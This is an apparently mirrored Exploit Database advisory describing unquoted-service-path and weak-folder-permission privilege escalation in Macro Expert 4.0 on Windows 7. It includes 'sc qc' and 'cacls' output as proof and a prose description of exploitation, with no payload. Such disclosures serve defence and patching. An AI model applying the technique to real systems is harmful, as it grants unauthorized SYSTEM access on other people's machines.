Macro Expert 4.0 – Multiple Privilege Escalations

• Exploit Database
• 23 阅读

• 作者： Tulpa
  日期： 2016-09-26
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40428/

• # Exploit Title: Macro Expert 4.0 Multiple Elevation of Privilege
  # Date: 26/09/2016
  # Exploit Author: Tulpa
  # Contact: tulpa@tulpa-security.com
  # Author website: www.tulpa-security.com
  # Vendor Homepage: http://www.macro-expert.com/
  # Software Link: http://www.macro-expert.com/download.htm
  # Version: Software Version 4.0
  # Tested on: Windows 7 x86
  # Shout-out to carbonated and ozzie_offsec
  
  1. Description:
   Macro Expert installs as a service with an unquoted service path running with SYSTEM
  
  privileges. This could potentially allow an authorized but non-privileged local
  user to execute arbitrary code with elevated privileges on the system. Additionally the
  
  default installation path suffers from weak folder permission which an unauthorized user
  
  in the BUILTIN\Users group could take advantage of.
  
  2. Proof
  
  C:\Program Files\GrassSoft>sc qc "Macro Expert"
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: Macro Expert
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : c:\program files\grasssoft\macro expert\MacroService.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : Macro Expert
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  
  C:\Program Files\GrassSoft>cacls "Macro Expert"
  C:\Program Files\GrassSoft\Macro Expert BUILTIN\Users:(OI)(CI)C
  NT SERVICE\TrustedInstaller:(ID)F
  NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
  NT AUTHORITY\SYSTEM:(ID)F
  NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
  BUILTIN\Administrators:(ID)F
  BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
  BUILTIN\Users:(ID)R
  BUILTIN\Users:(OI)(CI)(IO)(ID)(special access:)
  GENERIC_READ
  
   GENERIC_EXECUTE
  
  CREATOR OWNER:(OI)(CI)(IO)(ID)F
  
  
  3. Exploit:
  
  A successful attempt would require the local user to be able to insert their
  code in the system root path undetected by the OS or other security applications
  where it could potentially be executed during application startup or reboot.
  If successful, the local user's code would execute with the elevated privileges
  of the application.